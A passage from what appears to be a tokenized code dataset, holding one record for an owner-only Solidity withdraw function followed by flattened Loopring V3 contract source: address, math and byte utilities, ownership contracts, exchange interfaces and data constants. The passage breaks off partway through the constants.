-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xAF5078bCEE5B9DE9Bb9394207Ca48ac32648C45f/sources/Workspace.sol | * @dev Allows the owner to withdraw ethers from the contract. @param ethers quantity in weis of ethers to be withdrawn @return true if withdrawal successful ; false otherwise/ | function withdrawEther(uint256 ethers)
public
onlyOwner
{
msg.sender.transfer(ethers);
}
| 3,939,162 | [
1,
19132,
326,
3410,
358,
598,
9446,
13750,
414,
628,
326,
6835,
18,
225,
13750,
414,
10457,
316,
732,
291,
434,
13750,
414,
358,
506,
598,
9446,
82,
327,
638,
309,
598,
9446,
287,
6873,
274,
629,
3541,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
598,
9446,
41,
1136,
12,
11890,
5034,
13750,
414,
13,
203,
1377,
1071,
203,
1377,
1338,
5541,
203,
225,
288,
203,
1377,
1234,
18,
15330,
18,
13866,
12,
546,
414,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
// File: contracts/lib/AddressUtil.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Utility Functions for addresses
/// @author Daniel Wang - <[email protected]>
/// @author Brecht Devos - <[email protected]>
library AddressUtil
{
using AddressUtil for *;
function isContract(
address addr
)
internal
view
returns (bool)
{
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(addr) }
return (codehash != 0x0 &&
codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470);
}
function toPayable(
address addr
)
internal
pure
returns (address payable)
{
return payable(addr);
}
// Works like address.send but with a customizable gas limit
// Make sure your code is safe for reentrancy when using this function!
function sendETH(
address to,
uint amount,
uint gasLimit
)
internal
returns (bool success)
{
if (amount == 0) {
return true;
}
address payable recipient = to.toPayable();
/* solium-disable-next-line */
(success, ) = recipient.call{value: amount, gas: gasLimit}("");
}
// Works like address.transfer but with a customizable gas limit
// Make sure your code is safe for reentrancy when using this function!
function sendETHAndVerify(
address to,
uint amount,
uint gasLimit
)
internal
returns (bool success)
{
success = to.sendETH(amount, gasLimit);
require(success, "TRANSFER_FAILURE");
}
// Works like call but is slightly more efficient when data
// needs to be copied from memory to do the call.
function fastCall(
address to,
uint gasLimit,
uint value,
bytes memory data
)
internal
returns (bool success, bytes memory returnData)
{
if (to != address(0)) {
assembly {
// Do the call
success := call(gasLimit, to, value, add(data, 32), mload(data), 0, 0)
// Copy the return data
let size := returndatasize()
returnData := mload(0x40)
mstore(returnData, size)
returndatacopy(add(returnData, 32), 0, size)
// Update free memory pointer
mstore(0x40, add(returnData, add(32, size)))
}
}
}
// Like fastCall, but throws when the call is unsuccessful.
function fastCallAndVerify(
address to,
uint gasLimit,
uint value,
bytes memory data
)
internal
returns (bytes memory returnData)
{
bool success;
(success, returnData) = fastCall(to, gasLimit, value, data);
if (!success) {
assembly {
revert(add(returnData, 32), mload(returnData))
}
}
}
}
// File: contracts/lib/MathUint.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Utility Functions for uint
/// @author Daniel Wang - <[email protected]>
library MathUint
{
using MathUint for uint;
function mul(
uint a,
uint b
)
internal
pure
returns (uint c)
{
c = a * b;
require(a == 0 || c / a == b, "MUL_OVERFLOW");
}
function sub(
uint a,
uint b
)
internal
pure
returns (uint)
{
require(b <= a, "SUB_UNDERFLOW");
return a - b;
}
function add(
uint a,
uint b
)
internal
pure
returns (uint c)
{
c = a + b;
require(c >= a, "ADD_OVERFLOW");
}
function add64(
uint64 a,
uint64 b
)
internal
pure
returns (uint64 c)
{
c = a + b;
require(c >= a, "ADD_OVERFLOW");
}
}
// File: contracts/thirdparty/BytesUtil.sol
//Mainly taken from https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol
library BytesUtil {
function concat(
bytes memory _preBytes,
bytes memory _postBytes
)
internal
pure
returns (bytes memory)
{
bytes memory tempBytes;
assembly {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// Store the length of the first bytes array at the beginning of
// the memory for tempBytes.
let length := mload(_preBytes)
mstore(tempBytes, length)
// Maintain a memory counter for the current write location in the
// temp bytes array by adding the 32 bytes for the array length to
// the starting location.
let mc := add(tempBytes, 0x20)
// Stop copying when the memory counter reaches the length of the
// first bytes array.
let end := add(mc, length)
for {
// Initialize a copy counter to the start of the _preBytes data,
// 32 bytes into its memory.
let cc := add(_preBytes, 0x20)
} lt(mc, end) {
// Increase both counters by 32 bytes each iteration.
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// Write the _preBytes data into the tempBytes memory 32 bytes
// at a time.
mstore(mc, mload(cc))
}
// Add the length of _postBytes to the current length of tempBytes
// and store it as the new length in the first 32 bytes of the
// tempBytes memory.
length := mload(_postBytes)
mstore(tempBytes, add(length, mload(tempBytes)))
// Move the memory counter back from a multiple of 0x20 to the
// actual end of the _preBytes data.
mc := end
// Stop copying when the memory counter reaches the new combined
// length of the arrays.
end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
// Update the free-memory pointer by padding our last write location
// to 32 bytes: add 31 bytes to the end of tempBytes to move to the
// next 32 byte block, then round down to the nearest multiple of
// 32. If the sum of the length of the two arrays is zero then add
// one before rounding down to leave a blank 32 bytes (the length block with 0).
mstore(0x40, and(
add(add(end, iszero(add(length, mload(_preBytes)))), 31),
not(31) // Round down to the nearest 32 bytes.
))
}
return tempBytes;
}
function slice(
bytes memory _bytes,
uint _start,
uint _length
)
internal
pure
returns (bytes memory)
{
require(_bytes.length >= (_start + _length));
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20));
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint8(bytes memory _bytes, uint _start) internal pure returns (uint8) {
require(_bytes.length >= (_start + 1));
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) {
require(_bytes.length >= (_start + 2));
uint16 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x2), _start))
}
return tempUint;
}
function toUint24(bytes memory _bytes, uint _start) internal pure returns (uint24) {
require(_bytes.length >= (_start + 3));
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) {
require(_bytes.length >= (_start + 4));
uint32 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x4), _start))
}
return tempUint;
}
function toUint64(bytes memory _bytes, uint _start) internal pure returns (uint64) {
require(_bytes.length >= (_start + 8));
uint64 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x8), _start))
}
return tempUint;
}
function toUint96(bytes memory _bytes, uint _start) internal pure returns (uint96) {
require(_bytes.length >= (_start + 12));
uint96 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0xc), _start))
}
return tempUint;
}
function toUint128(bytes memory _bytes, uint _start) internal pure returns (uint128) {
require(_bytes.length >= (_start + 16));
uint128 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x10), _start))
}
return tempUint;
}
function toUint(bytes memory _bytes, uint _start) internal pure returns (uint256) {
require(_bytes.length >= (_start + 32));
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function toBytes4(bytes memory _bytes, uint _start) internal pure returns (bytes4) {
require(_bytes.length >= (_start + 4));
bytes4 tempBytes4;
assembly {
tempBytes4 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes4;
}
function toBytes20(bytes memory _bytes, uint _start) internal pure returns (bytes20) {
require(_bytes.length >= (_start + 20));
bytes20 tempBytes20;
assembly {
tempBytes20 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes20;
}
function toBytes32(bytes memory _bytes, uint _start) internal pure returns (bytes32) {
require(_bytes.length >= (_start + 32));
bytes32 tempBytes32;
assembly {
tempBytes32 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes32;
}
function toAddressUnsafe(bytes memory _bytes, uint _start) internal pure returns (address) {
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint8Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint8) {
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
function toUint16Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint16) {
uint16 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x2), _start))
}
return tempUint;
}
function toUint24Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint24) {
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
function toUint32Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint32) {
uint32 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x4), _start))
}
return tempUint;
}
function toUint64Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint64) {
uint64 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x8), _start))
}
return tempUint;
}
function toUint96Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint96) {
uint96 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0xc), _start))
}
return tempUint;
}
function toUint128Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint128) {
uint128 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x10), _start))
}
return tempUint;
}
function toUintUnsafe(bytes memory _bytes, uint _start) internal pure returns (uint256) {
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function toBytes4Unsafe(bytes memory _bytes, uint _start) internal pure returns (bytes4) {
bytes4 tempBytes4;
assembly {
tempBytes4 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes4;
}
function toBytes20Unsafe(bytes memory _bytes, uint _start) internal pure returns (bytes20) {
bytes20 tempBytes20;
assembly {
tempBytes20 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes20;
}
function toBytes32Unsafe(bytes memory _bytes, uint _start) internal pure returns (bytes32) {
bytes32 tempBytes32;
assembly {
tempBytes32 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes32;
}
function fastSHA256(
bytes memory data
)
internal
view
returns (bytes32)
{
bytes32[] memory result = new bytes32[](1);
bool success;
assembly {
let ptr := add(data, 32)
success := staticcall(sub(gas(), 2000), 2, ptr, mload(data), add(result, 32), 32)
}
require(success, "SHA256_FAILED");
return result[0];
}
}
// File: contracts/core/iface/IAgentRegistry.sol
// Copyright 2017 Loopring Technology Limited.
interface IAgent{}
abstract contract IAgentRegistry
{
/// @dev Returns whether an agent address is an agent of an account owner
/// @param owner The account owner.
/// @param agent The agent address
/// @return True if the agent address is an agent for the account owner, else false
function isAgent(
address owner,
address agent
)
external
virtual
view
returns (bool);
/// @dev Returns whether an agent address is an agent of all account owners
/// @param owners The account owners.
/// @param agent The agent address
/// @return True if the agent address is an agent for the account owner, else false
function isAgent(
address[] calldata owners,
address agent
)
external
virtual
view
returns (bool);
/// @dev Returns whether an agent address is a universal agent.
/// @param agent The agent address
/// @return True if the agent address is a universal agent, else false
function isUniversalAgent(address agent)
public
virtual
view
returns (bool);
}
// File: contracts/lib/Ownable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Ownable
/// @author Brecht Devos - <[email protected]>
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable
{
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
constructor()
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// new owner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
virtual
onlyOwner
{
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership()
public
onlyOwner
{
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
// File: contracts/lib/Claimable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Claimable
/// @author Brecht Devos - <[email protected]>
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable
{
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
override
onlyOwner
{
require(newOwner != address(0) && newOwner != owner, "INVALID_ADDRESS");
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership()
public
onlyPendingOwner
{
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/core/iface/IBlockVerifier.sol
// Copyright 2017 Loopring Technology Limited.
/// @title IBlockVerifier
/// @author Brecht Devos - <[email protected]>
abstract contract IBlockVerifier is Claimable
{
// -- Events --
event CircuitRegistered(
uint8 indexed blockType,
uint16 blockSize,
uint8 blockVersion
);
event CircuitDisabled(
uint8 indexed blockType,
uint16 blockSize,
uint8 blockVersion
);
// -- Public functions --
/// @dev Sets the verifying key for the specified circuit.
/// Every block permutation needs its own circuit and thus its own set of
/// verification keys. Only a limited number of block sizes per block
/// type are supported.
/// @param blockType The type of the block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
/// @param vk The verification key
function registerCircuit(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion,
uint[18] calldata vk
)
external
virtual;
/// @dev Disables the use of the specified circuit.
/// @param blockType The type of the block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
function disableCircuit(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion
)
external
virtual;
/// @dev Verifies blocks with the given public data and proofs.
/// Verifying a block makes sure all requests handled in the block
/// are correctly handled by the operator.
/// @param blockType The type of block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
/// @param publicInputs The hash of all the public data of the blocks
/// @param proofs The ZK proofs proving that the blocks are correct
/// @return True if the block is valid, false otherwise
function verifyProofs(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion,
uint[] calldata publicInputs,
uint[] calldata proofs
)
external
virtual
view
returns (bool);
/// @dev Checks if a circuit with the specified parameters is registered.
/// @param blockType The type of the block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
/// @return True if the circuit is registered, false otherwise
function isCircuitRegistered(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion
)
external
virtual
view
returns (bool);
/// @dev Checks if a circuit can still be used to commit new blocks.
/// @param blockType The type of the block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
/// @return True if the circuit is enabled, false otherwise
function isCircuitEnabled(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion
)
external
virtual
view
returns (bool);
}
// File: contracts/core/iface/IDepositContract.sol
// Copyright 2017 Loopring Technology Limited.
/// @title IDepositContract.
/// @dev Contract storing and transferring funds for an exchange.
///
/// ERC1155 tokens can be supported by registering pseudo token addresses calculated
/// as `address(keccak256(real_token_address, token_params))`. Then the custom
/// deposit contract can look up the real token address and paramsters with the
/// pseudo token address before doing the transfers.
/// @author Brecht Devos - <[email protected]>
interface IDepositContract
{
/// @dev Returns if a token is suppoprted by this contract.
function isTokenSupported(address token)
external
view
returns (bool);
/// @dev Transfers tokens from a user to the exchange. This function will
/// be called when a user deposits funds to the exchange.
/// In a simple implementation the funds are simply stored inside the
/// deposit contract directly. More advanced implementations may store the funds
/// in some DeFi application to earn interest, so this function could directly
/// call the necessary functions to store the funds there.
///
/// This function needs to throw when an error occurred!
///
/// This function can only be called by the exchange.
///
/// @param from The address of the account that sends the tokens.
/// @param token The address of the token to transfer (`0x0` for ETH).
/// @param amount The amount of tokens to transfer.
/// @param extraData Opaque data that can be used by the contract to handle the deposit
/// @return amountReceived The amount to deposit to the user's account in the Merkle tree
function deposit(
address from,
address token,
uint96 amount,
bytes calldata extraData
)
external
payable
returns (uint96 amountReceived);
/// @dev Transfers tokens from the exchange to a user. This function will
/// be called when a withdrawal is done for a user on the exchange.
/// In the simplest implementation the funds are simply stored inside the
/// deposit contract directly so this simply transfers the requested tokens back
/// to the user. More advanced implementations may store the funds
/// in some DeFi application to earn interest so the function would
/// need to get those tokens back from the DeFi application first before they
/// can be transferred to the user.
///
/// This function needs to throw when an error occurred!
///
/// This function can only be called by the exchange.
///
/// @param from The address from which 'amount' tokens are transferred.
/// @param to The address to which 'amount' tokens are transferred.
/// @param token The address of the token to transfer (`0x0` for ETH).
/// @param amount The amount of tokens transferred.
/// @param extraData Opaque data that can be used by the contract to handle the withdrawal
function withdraw(
address from,
address to,
address token,
uint amount,
bytes calldata extraData
)
external
payable;
/// @dev Transfers tokens (ETH not supported) for a user using the allowance set
/// for the exchange. This way the approval can be used for all functionality (and
/// extended functionality) of the exchange.
/// Should NOT be used to deposit/withdraw user funds, `deposit`/`withdraw`
/// should be used for that as they will contain specialised logic for those operations.
/// This function can be called by the exchange to transfer onchain funds of users
/// necessary for Agent functionality.
///
/// This function needs to throw when an error occurred!
///
/// This function can only be called by the exchange.
///
/// @param from The address of the account that sends the tokens.
/// @param to The address to which 'amount' tokens are transferred.
/// @param token The address of the token to transfer (ETH is and cannot be suppported).
/// @param amount The amount of tokens transferred.
function transfer(
address from,
address to,
address token,
uint amount
)
external
payable;
/// @dev Checks if the given address is used for depositing ETH or not.
/// Is used while depositing to send the correct ETH amount to the deposit contract.
///
/// Note that 0x0 is always registered for deposting ETH when the exchange is created!
/// This function allows additional addresses to be used for depositing ETH, the deposit
/// contract can implement different behaviour based on the address value.
///
/// @param addr The address to check
/// @return True if the address is used for depositing ETH, else false.
function isETH(address addr)
external
view
returns (bool);
}
// File: contracts/core/iface/ILoopringV3.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ILoopringV3
/// @author Brecht Devos - <[email protected]>
/// @author Daniel Wang - <[email protected]>
abstract contract ILoopringV3 is Claimable
{
// == Events ==
event ExchangeStakeDeposited(address exchangeAddr, uint amount);
event ExchangeStakeWithdrawn(address exchangeAddr, uint amount);
event ExchangeStakeBurned(address exchangeAddr, uint amount);
event SettingsUpdated(uint time);
// == Public Variables ==
mapping (address => uint) internal exchangeStake;
uint public totalStake;
address public blockVerifierAddress;
uint public forcedWithdrawalFee;
uint public tokenRegistrationFeeLRCBase;
uint public tokenRegistrationFeeLRCDelta;
uint8 public protocolTakerFeeBips;
uint8 public protocolMakerFeeBips;
address payable public protocolFeeVault;
// == Public Functions ==
/// @dev Returns the LRC token address
/// @return the LRC token address
function lrcAddress()
external
view
virtual
returns (address);
/// @dev Updates the global exchange settings.
/// This function can only be called by the owner of this contract.
///
/// Warning: these new values will be used by existing and
/// new Loopring exchanges.
function updateSettings(
address payable _protocolFeeVault, // address(0) not allowed
address _blockVerifierAddress, // address(0) not allowed
uint _forcedWithdrawalFee
)
external
virtual;
/// @dev Updates the global protocol fee settings.
/// This function can only be called by the owner of this contract.
///
/// Warning: these new values will be used by existing and
/// new Loopring exchanges.
function updateProtocolFeeSettings(
uint8 _protocolTakerFeeBips,
uint8 _protocolMakerFeeBips
)
external
virtual;
/// @dev Gets the amount of staked LRC for an exchange.
/// @param exchangeAddr The address of the exchange
/// @return stakedLRC The amount of LRC
function getExchangeStake(
address exchangeAddr
)
public
virtual
view
returns (uint stakedLRC);
/// @dev Burns a certain amount of staked LRC for a specific exchange.
/// This function is meant to be called only from exchange contracts.
/// @return burnedLRC The amount of LRC burned. If the amount is greater than
/// the staked amount, all staked LRC will be burned.
function burnExchangeStake(
uint amount
)
external
virtual
returns (uint burnedLRC);
/// @dev Stakes more LRC for an exchange.
/// @param exchangeAddr The address of the exchange
/// @param amountLRC The amount of LRC to stake
/// @return stakedLRC The total amount of LRC staked for the exchange
function depositExchangeStake(
address exchangeAddr,
uint amountLRC
)
external
virtual
returns (uint stakedLRC);
/// @dev Withdraws a certain amount of staked LRC for an exchange to the given address.
/// This function is meant to be called only from within exchange contracts.
/// @param recipient The address to receive LRC
/// @param requestedAmount The amount of LRC to withdraw
/// @return amountLRC The amount of LRC withdrawn
function withdrawExchangeStake(
address recipient,
uint requestedAmount
)
external
virtual
returns (uint amountLRC);
/// @dev Gets the protocol fee values for an exchange.
/// @return takerFeeBips The protocol taker fee
/// @return makerFeeBips The protocol maker fee
function getProtocolFeeValues(
)
public
virtual
view
returns (
uint8 takerFeeBips,
uint8 makerFeeBips
);
}
// File: contracts/core/iface/ExchangeData.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeData
/// @dev All methods in this lib are internal, therefore, there is no need
/// to deploy this library independently.
/// @author Daniel Wang - <[email protected]>
/// @author Brecht Devos - <[email protected]>
library ExchangeData
{
// -- Enums --
enum TransactionType
{
NOOP,
DEPOSIT,
WITHDRAWAL,
TRANSFER,
SPOT_TRADE,
ACCOUNT_UPDATE,
AMM_UPDATE,
SIGNATURE_VERIFICATION
}
// -- Structs --
struct Token
{
address token;
}
struct ProtocolFeeData
{
uint32 syncedAt; // only valid before 2105 (85 years to go)
uint8 takerFeeBips;
uint8 makerFeeBips;
uint8 previousTakerFeeBips;
uint8 previousMakerFeeBips;
}
// General auxiliary data for each conditional transaction
struct AuxiliaryData
{
uint txIndex;
bool approved;
bytes data;
}
// This is the (virtual) block the owner needs to submit onchain to maintain the
// per-exchange (virtual) blockchain.
struct Block
{
uint8 blockType;
uint16 blockSize;
uint8 blockVersion;
bytes data;
uint256[8] proof;
// Whether we should store the @BlockInfo for this block on-chain.
bool storeBlockInfoOnchain;
// Block specific data that is only used to help process the block on-chain.
// It is not used as input for the circuits and it is not necessary for data-availability.
// This bytes array contains the abi encoded AuxiliaryData[] data.
bytes auxiliaryData;
// Arbitrary data, mainly for off-chain data-availability, i.e.,
// the multihash of the IPFS file that contains the block data.
bytes offchainData;
}
struct BlockInfo
{
// The time the block was submitted on-chain.
uint32 timestamp;
// The public data hash of the block (the 28 most significant bytes).
bytes28 blockDataHash;
}
// Represents an onchain deposit request.
struct Deposit
{
uint96 amount;
uint64 timestamp;
}
// A forced withdrawal request.
// If the actual owner of the account initiated the request (we don't know who the owner is
// at the time the request is being made) the full balance will be withdrawn.
struct ForcedWithdrawal
{
address owner;
uint64 timestamp;
}
struct Constants
{
uint SNARK_SCALAR_FIELD;
uint MAX_OPEN_FORCED_REQUESTS;
uint MAX_AGE_FORCED_REQUEST_UNTIL_WITHDRAW_MODE;
uint TIMESTAMP_HALF_WINDOW_SIZE_IN_SECONDS;
uint MAX_NUM_ACCOUNTS;
uint MAX_NUM_TOKENS;
uint MIN_AGE_PROTOCOL_FEES_UNTIL_UPDATED;
uint MIN_TIME_IN_SHUTDOWN;
uint TX_DATA_AVAILABILITY_SIZE;
uint MAX_AGE_DEPOSIT_UNTIL_WITHDRAWABLE_UPPERBOUND;
}
// This is the prime number that is used for the alt_bn128 elliptic curve, see EIP-196.
uint public constant SNARK_SCALAR_FIELD = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
uint public constant MAX_OPEN_FORCED_REQUESTS = 4096;
uint public constant MAX_AGE_FORCED_REQUEST_UNTIL_WITHDRAW_MODE = 15 days;
uint public constant TIMESTAMP_HALF_WINDOW_SIZE_IN_SECONDS = 7 days;
uint public constant MAX_NUM_ACCOUNTS = 2 ** 32;
uint public constant MAX_NUM_TOKENS = 2 ** 16;
uint public constant MIN_AGE_PROTOCOL_FEES_UNTIL_UPDATED = 7 days;
